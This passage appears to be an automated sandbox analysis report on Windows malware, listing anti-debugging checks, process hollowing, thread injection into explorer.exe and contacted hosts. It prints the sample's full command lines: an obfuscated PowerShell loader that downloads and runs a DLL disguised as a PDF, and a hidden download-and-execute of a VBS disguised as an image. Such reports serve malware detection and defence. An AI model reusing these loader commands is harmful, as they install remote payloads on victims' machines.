Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 mov eax, dword ptr fs:[00000030h] 27_2_040820A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408F0BF mov ecx, dword ptr fs:[00000030h] 27_2_0408F0BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408F0BF mov eax, dword ptr fs:[00000030h] 27_2_0408F0BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408F0BF mov eax, dword ptr fs:[00000030h] 27_2_0408F0BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EB8D0 mov eax, dword ptr fs:[00000030h] 27_2_040EB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EB8D0 mov ecx, dword ptr fs:[00000030h] 27_2_040EB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EB8D0 mov eax, dword ptr fs:[00000030h] 27_2_040EB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EB8D0 mov eax, dword ptr fs:[00000030h] 27_2_040EB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EB8D0 mov eax, dword ptr fs:[00000030h] 27_2_040EB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EB8D0 mov eax, dword ptr fs:[00000030h] 27_2_040EB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407B8E4 mov eax, dword ptr fs:[00000030h] 27_2_0407B8E4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407B8E4 mov eax, dword ptr fs:[00000030h] 27_2_0407B8E4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040540E1 mov eax, dword ptr fs:[00000030h] 27_2_040540E1
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040540E1 mov eax, dword ptr fs:[00000030h] 27_2_040540E1
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040540E1 mov eax, dword ptr fs:[00000030h] 27_2_040540E1
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040558EC mov eax, dword ptr fs:[00000030h] 27_2_040558EC
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04059100 mov eax, dword ptr fs:[00000030h] 27_2_04059100
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04059100 mov eax, dword ptr fs:[00000030h] 27_2_04059100
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04059100 mov eax, dword ptr fs:[00000030h] 27_2_04059100
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04074120 mov eax, dword ptr fs:[00000030h] 27_2_04074120
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04074120 mov eax, dword ptr fs:[00000030h] 27_2_04074120
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04074120 mov eax, dword ptr fs:[00000030h] 27_2_04074120
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04074120 mov eax, dword ptr fs:[00000030h] 27_2_04074120
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04074120 mov ecx, dword ptr fs:[00000030h] 27_2_04074120
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408513A mov eax, dword ptr fs:[00000030h] 27_2_0408513A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408513A mov eax, dword ptr fs:[00000030h] 27_2_0408513A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407B944 mov eax, dword ptr fs:[00000030h] 27_2_0407B944
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407B944 mov eax, dword ptr fs:[00000030h] 27_2_0407B944
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405C962 mov eax, dword ptr fs:[00000030h] 27_2_0405C962
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405B171 mov eax, dword ptr fs:[00000030h] 27_2_0405B171
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405B171 mov eax, dword ptr fs:[00000030h] 27_2_0405B171
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407C182 mov eax, dword ptr fs:[00000030h] 27_2_0407C182
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408A185 mov eax, dword ptr fs:[00000030h] 27_2_0408A185
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04082990 mov eax, dword ptr fs:[00000030h] 27_2_04082990
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040861A0 mov eax, dword ptr fs:[00000030h] 27_2_040861A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040861A0 mov eax, dword ptr fs:[00000030h] 27_2_040861A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D69A6 mov eax, dword ptr fs:[00000030h] 27_2_040D69A6
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D51BE mov eax, dword ptr fs:[00000030h] 27_2_040D51BE
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D51BE mov eax, dword ptr fs:[00000030h] 27_2_040D51BE
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D51BE mov eax, dword ptr fs:[00000030h] 27_2_040D51BE
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D51BE mov eax, dword ptr fs:[00000030h] 27_2_040D51BE
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041149A4 mov eax, dword ptr fs:[00000030h] 27_2_041149A4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041149A4 mov eax, dword ptr fs:[00000030h] 27_2_041149A4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041149A4 mov eax, dword ptr fs:[00000030h] 27_2_041149A4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041149A4 mov eax, dword ptr fs:[00000030h] 27_2_041149A4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov ecx, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov ecx, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov eax, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov ecx, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov ecx, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov eax, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov ecx, dword ptr fs:[00000030h] 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF mov ecx, dword ptr fs:[00000030h] 27_2_040799BF
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe Process queried: DebugPort
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\explorer.exe Code function: 6_2_043F14E2 LdrLoadDll, 6_2_043F14E2

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 199.34.228.47 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.sushifactoryamphawa.com
Source: C:\Windows\explorer.exe Network Connect: 54.203.72.218 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 91.195.240.103 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.choicearticleto-readtoday.info
Source: C:\Windows\explorer.exe Domain query: www.mgav21.xyz
Source: C:\Windows\explorer.exe Domain query: www.nexusbalance.com
Source: C:\Windows\explorer.exe Network Connect: 45.128.51.66 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section unmapped: C:\Windows\SysWOW64\WWAHost.exe base address: C80000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: unknown target: C:\Windows\SysWOW64\WWAHost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: unknown target: C:\Windows\SysWOW64\WWAHost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\WWAHost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 81F008 Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread register set: target process: 3688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread register set: target process: 6164 Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe Thread register set: target process: 3688
Source: C:\Windows\SysWOW64\WWAHost.exe Thread register set: target process: 6164
Source: C:\Windows\SysWOW64\WWAHost.exe Thread register set: target process: 3504
Source: C:\Windows\SysWOW64\WWAHost.exe Thread register set: target process: 4100
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth'))
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth')) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe" C:\Windows\Temp\Done.vbs Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth')) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Done.vbs Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Start-Sleep 5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Done.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
